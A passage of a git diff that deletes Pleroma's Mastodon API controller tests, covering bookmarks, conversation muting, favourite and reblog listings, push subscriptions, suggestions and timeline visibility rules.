"https://example.com/ogp-missing-data"}) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/card") - |> json_response_and_validate_schema(:ok) - - assert response == %{ - "type" => "link", - "title" => "Pleroma", - "description" => "", - "image" => nil, - "provider_name" => "example.com", - "provider_url" => "https://example.com", - "url" => "https://example.com/ogp-missing-data", - "pleroma" => %{ - "opengraph" => %{ - "title" => "Pleroma", - "type" => "website", - "url" => "https://example.com/ogp-missing-data" - } - } - } - end - end - - test "bookmarks" do - bookmarks_uri = "/api/v1/bookmarks" - - %{conn: conn} = oauth_access(["write:bookmarks", "read:bookmarks"]) - author = insert(:user) - - {:ok, activity1} = CommonAPI.post(author, %{status: "heweoo?"}) - {:ok, activity2} = CommonAPI.post(author, %{status: "heweoo!"}) - - response1 = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity1.id}/bookmark") - - assert json_response_and_validate_schema(response1, 200)["bookmarked"] == true - - response2 = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity2.id}/bookmark") - - assert json_response_and_validate_schema(response2, 200)["bookmarked"] == true - - bookmarks = get(conn, bookmarks_uri) - - assert [ - json_response_and_validate_schema(response2, 200), - json_response_and_validate_schema(response1, 200) - ] == - json_response_and_validate_schema(bookmarks, 200) - - response1 = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity1.id}/unbookmark") - - assert json_response_and_validate_schema(response1, 200)["bookmarked"] == false - - bookmarks = get(conn, bookmarks_uri) - - assert [json_response_and_validate_schema(response2, 200)] == - json_response_and_validate_schema(bookmarks, 200) - end - - describe "conversation muting" do - setup do: oauth_access(["write:mutes"]) - - setup do - post_user = insert(:user) - {:ok, activity} = CommonAPI.post(post_user, %{status: "HIE"}) - %{activity: activity} - end - - test "mute conversation", %{conn: conn, activity: activity} do - id_str = to_string(activity.id) - - assert %{"id" => ^id_str, "muted" => true} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/mute") - |> json_response_and_validate_schema(200) - end - - test "cannot mute already muted conversation", %{conn: conn, user: user, activity: activity} do - {:ok, _} = CommonAPI.add_mute(user, activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/mute") - - assert json_response_and_validate_schema(conn, 400) == %{ - "error" => "conversation is already muted" - } - end - - test "unmute conversation", %{conn: conn, user: user, activity: activity} do - {:ok, _} = CommonAPI.add_mute(user, activity) - - id_str = to_string(activity.id) - - assert %{"id" => ^id_str, "muted" => false} = - conn - # |> assign(:user, user) - |> post("/api/v1/statuses/#{activity.id}/unmute") - |> json_response_and_validate_schema(200) - end - end - - test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do - user1 = insert(:user) - user2 = insert(:user) - user3 = insert(:user) - - {:ok, replied_to} = CommonAPI.post(user1, %{status: "cofe"}) - - # Reply to status from another user - conn1 = - conn - |> assign(:user, user2) - |> assign(:token, insert(:oauth_token, user: user2, scopes: ["write:statuses"])) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) - - assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn1, 200) - - activity = Activity.get_by_id_with_object(id) - - assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"] - assert Activity.get_in_reply_to_activity(activity).id == replied_to.id - - # Reblog from the third user - conn2 = - conn - |> assign(:user, user3) - |> assign(:token, insert(:oauth_token, user: user3, scopes: ["write:statuses"])) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/reblog") - - assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} = - json_response_and_validate_schema(conn2, 200) - - assert to_string(activity.id) == id - - # Getting third user status - conn3 = - conn - |> assign(:user, user3) - |> assign(:token, insert(:oauth_token, user: user3, scopes: ["read:statuses"])) - |> get("api/v1/timelines/home") - - [reblogged_activity] = json_response(conn3, 200) - - assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id - - replied_to_user = User.get_by_ap_id(replied_to.data["actor"]) - assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id - end - - describe "GET /api/v1/statuses/:id/favourited_by" do - setup do: oauth_access(["read:accounts"]) - - setup %{user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "test"}) - - %{activity: activity} - end - - test "returns users who have favorited the status", %{conn: conn, activity: activity} do - other_user = insert(:user) - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response_and_validate_schema(:ok) - - [%{"id" => id}] = response - - assert id == other_user.id - end - - test "returns empty array when status has not been favorited yet", %{ - conn: conn, - activity: activity - } do - response = - conn - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "does not return users who have favorited the status but are blocked", %{ - conn: %{assigns: %{user: user}} = conn, - activity: activity - } do - other_user = insert(:user) - {:ok, _user_relationship} = User.block(user, other_user) - - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "does not fail on an unauthenticated request", %{activity: activity} do - other_user = insert(:user) - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - response = - build_conn() - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response_and_validate_schema(:ok) - - [%{"id" => id}] = response - assert id == other_user.id - end - - test "requires authentication for private posts", %{user: user} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "@#{other_user.nickname} wanna get some #cofe together?", - visibility: "direct" - }) - - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - favourited_by_url = "/api/v1/statuses/#{activity.id}/favourited_by" - - build_conn() - |> get(favourited_by_url) - |> json_response_and_validate_schema(404) - - conn = - build_conn() - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) - - conn - |> assign(:token, nil) - |> get(favourited_by_url) - |> json_response_and_validate_schema(404) - - response = - conn - |> get(favourited_by_url) - |> json_response_and_validate_schema(200) - - [%{"id" => id}] = response - assert id == other_user.id - end - - test "returns empty array when :show_reactions is disabled", %{conn: conn, activity: activity} do - clear_config([:instance, :show_reactions], false) - - other_user = insert(:user) - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - end - - describe "GET /api/v1/statuses/:id/reblogged_by" do - setup do: oauth_access(["read:accounts"]) - - setup %{user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "test"}) - - %{activity: activity} - end - - test "returns users who have reblogged the status", %{conn: conn, activity: activity} do - other_user = insert(:user) - {:ok, _} = CommonAPI.repeat(activity.id, other_user) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(:ok) - - [%{"id" => id}] = response - - assert id == other_user.id - end - - test "returns empty array when status has not been reblogged yet", %{ - conn: conn, - activity: activity - } do - response = - conn - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "does not return users who have reblogged the status but are blocked", %{ - conn: %{assigns: %{user: user}} = conn, - activity: activity - } do - other_user = insert(:user) - {:ok, _user_relationship} = User.block(user, other_user) - - {:ok, _} = CommonAPI.repeat(activity.id, other_user) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "does not return users who have reblogged the status privately", %{ - conn: conn - } do - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "my secret post"}) - - {:ok, _} = CommonAPI.repeat(activity.id, other_user, %{visibility: "private"}) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "does not fail on an unauthenticated request", %{activity: activity} do - other_user = insert(:user) - {:ok, _} = CommonAPI.repeat(activity.id, other_user) - - response = - build_conn() - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(:ok) - - [%{"id" => id}] = response - assert id == other_user.id - end - - test "requires authentication for private posts", %{user: user} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "@#{other_user.nickname} wanna get some #cofe together?", - visibility: "direct" - }) - - build_conn() - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(404) - - response = - build_conn() - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(200) - - assert [] == response - end - end - - test "context" do - user = insert(:user) - - {:ok, %{id: id1}} = CommonAPI.post(user, %{status: "1"}) - {:ok, %{id: id2}} = CommonAPI.post(user, %{status: "2", in_reply_to_status_id: id1}) - {:ok, %{id: id3}} = CommonAPI.post(user, %{status: "3", in_reply_to_status_id: id2}) - {:ok, %{id: id4}} = CommonAPI.post(user, %{status: "4", in_reply_to_status_id: id3}) - {:ok, %{id: id5}} = CommonAPI.post(user, %{status: "5", in_reply_to_status_id: id4}) - - response = - build_conn() - |> get("/api/v1/statuses/#{id3}/context") - |> json_response_and_validate_schema(:ok) - - assert %{ - "ancestors" => [%{"id" => ^id1}, %{"id" => ^id2}], - "descendants" => [%{"id" => ^id4}, %{"id" => ^id5}] - } = response - end - - test "favorites paginate correctly" do - %{user: user, conn: conn} = oauth_access(["read:favourites"]) - other_user = insert(:user) - {:ok, first_post} = CommonAPI.post(other_user, %{status: "bla"}) - {:ok, second_post} = CommonAPI.post(other_user, %{status: "bla"}) - {:ok, third_post} = CommonAPI.post(other_user, %{status: "bla"}) - - {:ok, _first_favorite} = CommonAPI.favorite(user, third_post.id) - {:ok, _second_favorite} = CommonAPI.favorite(user, first_post.id) - {:ok, third_favorite} = CommonAPI.favorite(user, second_post.id) - - result = - conn - |> get("/api/v1/favourites?limit=1") - - assert [%{"id" => post_id}] = json_response_and_validate_schema(result, 200) - assert post_id == second_post.id - - # Using the header for pagination works correctly - [next, _] = get_resp_header(result, "link") |> hd() |> String.split(", ") - [_, max_id] = Regex.run(~r/max_id=([^&]+)/, next) - - assert max_id == third_favorite.id - - result = - conn - |> get("/api/v1/favourites?max_id=#{max_id}") - - assert [%{"id" => first_post_id}, %{"id" => third_post_id}] = - json_response_and_validate_schema(result, 200) - - assert first_post_id == first_post.id - assert third_post_id == third_post.id - end - - test "returns the favorites of a user" do - %{user: user, conn: conn} = oauth_access(["read:favourites"]) - other_user = insert(:user) - - {:ok, _} = CommonAPI.post(other_user, %{status: "bla"}) - {:ok, activity} = CommonAPI.post(other_user, %{status: "trees are happy"}) - - {:ok, last_like} = CommonAPI.favorite(user, activity.id) - - first_conn = get(conn, "/api/v1/favourites") - - assert [status] = json_response_and_validate_schema(first_conn, 200) - assert status["id"] == to_string(activity.id) - - assert [{"link", _link_header}] = - Enum.filter(first_conn.resp_headers, fn element -> match?({"link", _}, element) end) - - # Honours query params - {:ok, second_activity} = - CommonAPI.post(other_user, %{ - status: "Trees Are Never Sad Look At Them Every Once In Awhile They're Quite Beautiful." - }) - - {:ok, _} = CommonAPI.favorite(user, second_activity.id) - - second_conn = get(conn, "/api/v1/favourites?since_id=#{last_like.id}") - - assert [second_status] = json_response_and_validate_schema(second_conn, 200) - assert second_status["id"] == to_string(second_activity.id) - - third_conn = get(conn, "/api/v1/favourites?limit=0") - - assert [] = json_response_and_validate_schema(third_conn, 200) - end - - test "expires_at is nil for another user" do - %{conn: conn, user: user} = oauth_access(["read:statuses"]) - expires_at = DateTime.add(DateTime.utc_now(), 1_000_000) - {:ok, activity} = CommonAPI.post(user, %{status: "foobar", expires_in: 1_000_000}) - - assert %{"pleroma" => %{"expires_at" => a_expires_at}} = - conn - |> get("/api/v1/statuses/#{activity.id}") - |> json_response_and_validate_schema(:ok) - - {:ok, a_expires_at, 0} = DateTime.from_iso8601(a_expires_at) - assert DateTime.diff(expires_at, a_expires_at) == 0 - - %{conn: conn} = oauth_access(["read:statuses"]) - - assert %{"pleroma" => %{"expires_at" => nil}} = - conn - |> get("/api/v1/statuses/#{activity.id}") - |> json_response_and_validate_schema(:ok) - end -end diff --git a/test/web/mastodon_api/controllers/subscription_controller_test.exs b/test/web/mastodon_api/controllers/subscription_controller_test.exs deleted file mode 100644 index d36bb1ae8..000000000 --- a/test/web/mastodon_api/controllers/subscription_controller_test.exs +++ /dev/null @@ -1,199 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.SubscriptionControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Web.Push - alias Pleroma.Web.Push.Subscription - - @sub %{ - "endpoint" => "https://example.com/example/1234", - "keys" => %{ - "auth" => "8eDyX_uCN0XRhSbY5hs7Hg==", - "p256dh" => - "BCIWgsnyXDv1VkhqL2P7YRBvdeuDnlwAPT2guNhdIoW3IP7GmHh1SMKPLxRf7x8vJy6ZFK3ol2ohgn_-0yP7QQA=" - } - } - @server_key Keyword.get(Push.vapid_config(), :public_key) - - setup do - user = insert(:user) - token = insert(:oauth_token, user: user, scopes: ["push"]) - - conn = - build_conn() - |> assign(:user, user) - |> assign(:token, token) - |> put_req_header("content-type", "application/json") - - %{conn: conn, user: user, token: token} - end - - defmacro assert_error_when_disable_push(do: yield) do - quote do - vapid_details = Application.get_env(:web_push_encryption, :vapid_details, []) - Application.put_env(:web_push_encryption, :vapid_details, []) - - assert %{"error" => "Web push subscription is disabled on this Pleroma instance"} == - unquote(yield) - - Application.put_env(:web_push_encryption, :vapid_details, vapid_details) - end - end - - describe "creates push subscription" do - test "returns error when push disabled ", %{conn: conn} do - assert_error_when_disable_push do - conn - |> post("/api/v1/push/subscription", %{subscription: @sub}) - |> json_response_and_validate_schema(403) - end - end - - test "successful creation", %{conn: conn} do - result = - conn - |> post("/api/v1/push/subscription", %{ - "data" => %{ - "alerts" => %{"mention" => true, "test" => true, "pleroma:chat_mention" => true} - }, - "subscription" => @sub - }) - |> json_response_and_validate_schema(200) - - [subscription] = Pleroma.Repo.all(Subscription) - - assert %{ - "alerts" => %{"mention" => true, "pleroma:chat_mention" => true}, - "endpoint" => subscription.endpoint, - "id" => to_string(subscription.id), - "server_key" => @server_key - } == result - end - end - - describe "gets a user subscription" do - test "returns error when push disabled ", %{conn: conn} do - assert_error_when_disable_push do - conn - |> get("/api/v1/push/subscription", %{}) - |> json_response_and_validate_schema(403) - end - end - - test "returns error when user hasn't subscription", %{conn: conn} do - res = - conn - |> get("/api/v1/push/subscription", %{}) - |> json_response_and_validate_schema(404) - - assert %{"error" => "Record not found"} == res - end - - test "returns a user subsciption", %{conn: conn, user: user, token: token} do - subscription = - insert(:push_subscription, - user: user, - token: token, - data: %{"alerts" => %{"mention" => true}} - ) - - res = - conn - |> get("/api/v1/push/subscription", %{}) - |> json_response_and_validate_schema(200) - - expect = %{ - "alerts" => %{"mention" => true}, - "endpoint" => "https://example.com/example/1234", - "id" => to_string(subscription.id), - "server_key" => @server_key - } - - assert expect == res - end - end - - describe "updates a user subsciption" do - setup %{conn: conn, user: user, token: token} do - subscription = - insert(:push_subscription, - user: user, - token: token, - data: %{"alerts" => %{"mention" => true}} - ) - - %{conn: conn, user: user, token: token, subscription: subscription} - end - - test "returns error when push disabled ", %{conn: conn} do - assert_error_when_disable_push do - conn - |> put("/api/v1/push/subscription", %{data: %{"alerts" => %{"mention" => false}}}) - |> json_response_and_validate_schema(403) - end - end - - test "returns updated subsciption", %{conn: conn, subscription: subscription} do - res = - conn - |> put("/api/v1/push/subscription", %{ - data: %{"alerts" => %{"mention" => false, "follow" => true}} - }) - |> json_response_and_validate_schema(200) - - expect = %{ - "alerts" => %{"follow" => true, "mention" => false}, - "endpoint" => "https://example.com/example/1234", - "id" => to_string(subscription.id), - "server_key" => @server_key - } - - assert expect == res - end - end - - describe "deletes the user subscription" do - test "returns error when push disabled ", %{conn: conn} do - assert_error_when_disable_push do - conn - |> delete("/api/v1/push/subscription", %{}) - |> json_response_and_validate_schema(403) - end - end - - test "returns error when user hasn't subscription", %{conn: conn} do - res = - conn - |> delete("/api/v1/push/subscription", %{}) - |> json_response_and_validate_schema(404) - - assert %{"error" => "Record not found"} == res - end - - test "returns empty result and delete user subsciption", %{ - conn: conn, - user: user, - token: token - } do - subscription = - insert(:push_subscription, - user: user, - token: token, - data: %{"alerts" => %{"mention" => true}} - ) - - res = - conn - |> delete("/api/v1/push/subscription", %{}) - |> json_response_and_validate_schema(200) - - assert %{} == res - refute Pleroma.Repo.get(Subscription, subscription.id) - end - end -end diff --git a/test/web/mastodon_api/controllers/suggestion_controller_test.exs b/test/web/mastodon_api/controllers/suggestion_controller_test.exs deleted file mode 100644 index 7f08e187c..000000000 --- a/test/web/mastodon_api/controllers/suggestion_controller_test.exs +++ /dev/null @@ -1,18 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.SuggestionControllerTest do - use Pleroma.Web.ConnCase - - setup do: oauth_access(["read"]) - - test "returns empty result", %{conn: conn} do - res = - conn - |> get("/api/v1/suggestions") - |> json_response_and_validate_schema(200) - - assert res == [] - end -end diff --git a/test/web/mastodon_api/controllers/timeline_controller_test.exs b/test/web/mastodon_api/controllers/timeline_controller_test.exs deleted file mode 100644 index c6e0268fd..000000000 --- a/test/web/mastodon_api/controllers/timeline_controller_test.exs +++ /dev/null @@ -1,560 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.TimelineControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - import Tesla.Mock - - alias Pleroma.Config - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "home" do - setup do: oauth_access(["read:statuses"]) - - test "does NOT embed account/pleroma/relationship in statuses", %{ - user: user, - conn: conn - } do - other_user = insert(:user) - - {:ok, _} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) - - response = - conn - |> assign(:user, user) - |> get("/api/v1/timelines/home") - |> json_response_and_validate_schema(200) - - assert Enum.all?(response, fn n -> - get_in(n, ["account", "pleroma", "relationship"]) == %{} - end) - end - - test "the home timeline when the direct messages are excluded", %{user: user, conn: conn} do - {:ok, public_activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) - {:ok, direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - - {:ok, unlisted_activity} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) - - {:ok, private_activity} = CommonAPI.post(user, %{status: ".", visibility: "private"}) - - conn = get(conn, "/api/v1/timelines/home?exclude_visibilities[]=direct") - - assert status_ids = json_response_and_validate_schema(conn, :ok) |> Enum.map(& &1["id"]) - assert public_activity.id in status_ids - assert unlisted_activity.id in status_ids - assert private_activity.id in status_ids - refute direct_activity.id in status_ids - end - end - - describe "public" do - @tag capture_log: true - test "the public timeline", %{conn: conn} do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test"}) - - _activity = insert(:note_activity, local: false) - - conn = get(conn, "/api/v1/timelines/public?local=False") - - assert length(json_response_and_validate_schema(conn, :ok)) == 2 - - conn = get(build_conn(), "/api/v1/timelines/public?local=True") - - assert [%{"content" => "test"}] = json_response_and_validate_schema(conn, :ok) - - conn = get(build_conn(), "/api/v1/timelines/public?local=1") - - assert [%{"content" => "test"}] = json_response_and_validate_schema(conn, :ok) - - # does not contain repeats - {:ok, _} = CommonAPI.repeat(activity.id, user) - - conn = get(build_conn(), "/api/v1/timelines/public?local=true") - - assert [_] = json_response_and_validate_schema(conn, :ok) - end - - test "the public timeline includes only public statuses for an authenticated user" do - %{user: user, conn: conn} = oauth_access(["read:statuses"]) - - {:ok, _activity} = CommonAPI.post(user, %{status: "test"}) - {:ok, _activity} = CommonAPI.post(user, %{status: "test", visibility: "private"}) - {:ok, _activity} = CommonAPI.post(user, %{status: "test", visibility: "unlisted"}) - {:ok, _activity} = CommonAPI.post(user, %{status: "test", visibility: "direct"}) - - res_conn = get(conn, "/api/v1/timelines/public") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - end - - test "doesn't return replies if follower is posting with blocked user" do - %{conn: conn, user: blocker} = oauth_access(["read:statuses"]) - [blockee, friend] = insert_list(2, :user) - {:ok, blocker} = User.follow(blocker, friend) - {:ok, _} = User.block(blocker, blockee) - - conn = assign(conn, :user, blocker) - - {:ok, %{id: activity_id} = activity} = CommonAPI.post(friend, %{status: "hey!"}) - - {:ok, reply_from_blockee} = - CommonAPI.post(blockee, %{status: "heya", in_reply_to_status_id: activity}) - - {:ok, _reply_from_friend} = - CommonAPI.post(friend, %{status: "status", in_reply_to_status_id: reply_from_blockee}) - - # Still shows replies from yourself - {:ok, %{id: reply_from_me}} = - CommonAPI.post(blocker, %{status: "status", in_reply_to_status_id: reply_from_blockee}) - - response = - get(conn, "/api/v1/timelines/public") - |> json_response_and_validate_schema(200) - - assert length(response) == 2 - [%{"id" => ^reply_from_me}, %{"id" => ^activity_id}] = response - end - - test "doesn't return replies if follow is posting with users from blocked domain" do - %{conn: conn, user: blocker} = oauth_access(["read:statuses"]) - friend = insert(:user) - blockee = insert(:user, ap_id: "https://example.com/users/blocked") - {:ok, blocker} = User.follow(blocker, friend) - {:ok, blocker} = User.block_domain(blocker, "example.com") - - conn = assign(conn, :user, blocker) - - {:ok, %{id: activity_id} = activity} = CommonAPI.post(friend, %{status: "hey!"}) - - {:ok, reply_from_blockee} = - CommonAPI.post(blockee, %{status: "heya", in_reply_to_status_id: activity}) - - {:ok, _reply_from_friend} = - CommonAPI.post(friend, %{status: "status", in_reply_to_status_id: reply_from_blockee}) - - res_conn = get(conn, "/api/v1/timelines/public") - - activities = json_response_and_validate_schema(res_conn, 200) - [%{"id" => ^activity_id}] = activities - end - end - - defp local_and_remote_activities do - insert(:note_activity) - insert(:note_activity, local: false) - :ok - end - - describe "public with restrict unauthenticated timeline for local and federated timelines" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :timelines, :local], true) - - setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], true) - - test "if user is unauthenticated", %{conn: conn} do - res_conn = get(conn, "/api/v1/timelines/public?local=true") - - assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ - "error" => "authorization required for timeline view" - } - - res_conn = get(conn, "/api/v1/timelines/public?local=false") - - assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ - "error" => "authorization required for timeline view" - } - end - - test "if user is authenticated" do - %{conn: conn} = oauth_access(["read:statuses"]) - - res_conn = get(conn, "/api/v1/timelines/public?local=true") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/timelines/public?local=false") - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - end - - describe "public with restrict unauthenticated timeline for local" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :timelines, :local], true) - - test "if user is unauthenticated", %{conn: conn} do - res_conn = get(conn, "/api/v1/timelines/public?local=true") - - assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ - "error" => "authorization required for timeline view" - } - - res_conn = get(conn, "/api/v1/timelines/public?local=false") - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - - test "if user is authenticated", %{conn: _conn} do - %{conn: conn} = oauth_access(["read:statuses"]) - - res_conn = get(conn, "/api/v1/timelines/public?local=true") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/timelines/public?local=false") - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - end - - describe "public with restrict unauthenticated timeline for remote" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], true) - - test "if user is unauthenticated", %{conn: conn} do - res_conn = get(conn, "/api/v1/timelines/public?local=true") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/timelines/public?local=false") - - assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ - "error" => "authorization required for timeline view" - } - end - - test "if user is authenticated", %{conn: _conn} do - %{conn: conn} = oauth_access(["read:statuses"]) - - res_conn = get(conn, "/api/v1/timelines/public?local=true") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/timelines/public?local=false") - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - end - - describe "direct" do - test "direct timeline", %{conn: conn} do - user_one = insert(:user) - user_two = insert(:user) - - {:ok, user_two} = User.follow(user_two, user_one) - - {:ok, direct} = - CommonAPI.post(user_one, %{ - status: "Hi @#{user_two.nickname}!", - visibility: "direct" - }) - - {:ok, _follower_only} = - CommonAPI.post(user_one, %{ - status: "Hi @#{user_two.nickname}!", - visibility: "private" - }) - - conn_user_two = - conn - |> assign(:user, user_two) - |> assign(:token, insert(:oauth_token, user: user_two, scopes: ["read:statuses"])) - - # Only direct should be visible here - res_conn = get(conn_user_two, "api/v1/timelines/direct") - - assert [status] = json_response_and_validate_schema(res_conn, :ok) - - assert %{"visibility" => "direct"} = status - assert status["url"] != direct.data["id"] - - # User should be able to see their own direct message - res_conn = - build_conn() - |> assign(:user, user_one) - |> assign(:token, insert(:oauth_token, user: user_one, scopes: ["read:statuses"])) - |> get("api/v1/timelines/direct") - - [status] = json_response_and_validate_schema(res_conn, :ok) - - assert %{"visibility" => "direct"} = status - - # Both should be visible here - res_conn = get(conn_user_two, "api/v1/timelines/home") - - [_s1, _s2] = json_response_and_validate_schema(res_conn, :ok) - - # Test pagination - Enum.each(1..20, fn _ -> - {:ok, _} = - CommonAPI.post(user_one, %{ - status: "Hi @#{user_two.nickname}!", - visibility: "direct" - }) - end) - - res_conn = get(conn_user_two, "api/v1/timelines/direct") - - statuses = json_response_and_validate_schema(res_conn, :ok) - assert length(statuses) == 20 - - max_id = List.last(statuses)["id"] - - res_conn = get(conn_user_two, "api/v1/timelines/direct?max_id=#{max_id}") - - assert [status] = json_response_and_validate_schema(res_conn, :ok) - - assert status["url"] != direct.data["id"] - end - - test "doesn't include DMs from blocked users" do - %{user: blocker, conn: conn} = oauth_access(["read:statuses"]) - blocked = insert(:user) - other_user = insert(:user) - {:ok, _user_relationship} = User.block(blocker, blocked) - - {:ok, _blocked_direct} = - CommonAPI.post(blocked, %{ - status: "Hi @#{blocker.nickname}!", - visibility: "direct" - }) - - {:ok, direct} = - CommonAPI.post(other_user, %{ - status: "Hi @#{blocker.nickname}!", - visibility: "direct" - }) - - res_conn = get(conn, "api/v1/timelines/direct") - - [status] = json_response_and_validate_schema(res_conn, :ok) - assert status["id"] == direct.id - end - end - - describe "list" do - setup do: oauth_access(["read:lists"]) - - test "does not contain retoots", %{user: user, conn: conn} do - other_user = insert(:user) - {:ok, activity_one} = CommonAPI.post(user, %{status: "Marisa is cute."}) - {:ok, activity_two} = CommonAPI.post(other_user, %{status: "Marisa is stupid."}) - {:ok, _} = CommonAPI.repeat(activity_one.id, other_user) - - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - - conn = get(conn, "/api/v1/timelines/list/#{list.id}") - - assert [%{"id" => id}] = json_response_and_validate_schema(conn, :ok) - - assert id == to_string(activity_two.id) - end - - test "works with pagination", %{user: user, conn: conn} do - other_user = insert(:user) - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - - Enum.each(1..30, fn i -> - CommonAPI.post(other_user, %{status: "post number #{i}"}) - end) - - res = - get(conn, "/api/v1/timelines/list/#{list.id}?limit=1") - |> json_response_and_validate_schema(:ok) - - assert length(res) == 1 - - [first] = res - - res = - get(conn, "/api/v1/timelines/list/#{list.id}?max_id=#{first["id"]}&limit=30") - |> json_response_and_validate_schema(:ok) - - assert length(res) == 29 - end - - test "list timeline", %{user: user, conn: conn} do - other_user = insert(:user) - {:ok, _activity_one} = CommonAPI.post(user, %{status: "Marisa is cute."}) - {:ok, activity_two} = CommonAPI.post(other_user, %{status: "Marisa is cute."}) - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - - conn = get(conn, "/api/v1/timelines/list/#{list.id}") - - assert [%{"id" => id}] = json_response_and_validate_schema(conn, :ok) - - assert id == to_string(activity_two.id) - end - - test "list timeline does not leak non-public statuses for unfollowed users", %{ - user: user, - conn: conn - } do - other_user = insert(:user) - {:ok, activity_one} = CommonAPI.post(other_user, %{status: "Marisa is cute."}) - - {:ok, _activity_two} = - CommonAPI.post(other_user, %{ - status: "Marisa is cute.", - visibility: "private" - }) - - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - - conn = get(conn, "/api/v1/timelines/list/#{list.id}") - - assert [%{"id" => id}] = json_response_and_validate_schema(conn, :ok) - - assert id == to_string(activity_one.id) - end - end - - describe "hashtag" do - setup do: oauth_access(["n/a"]) - - @tag 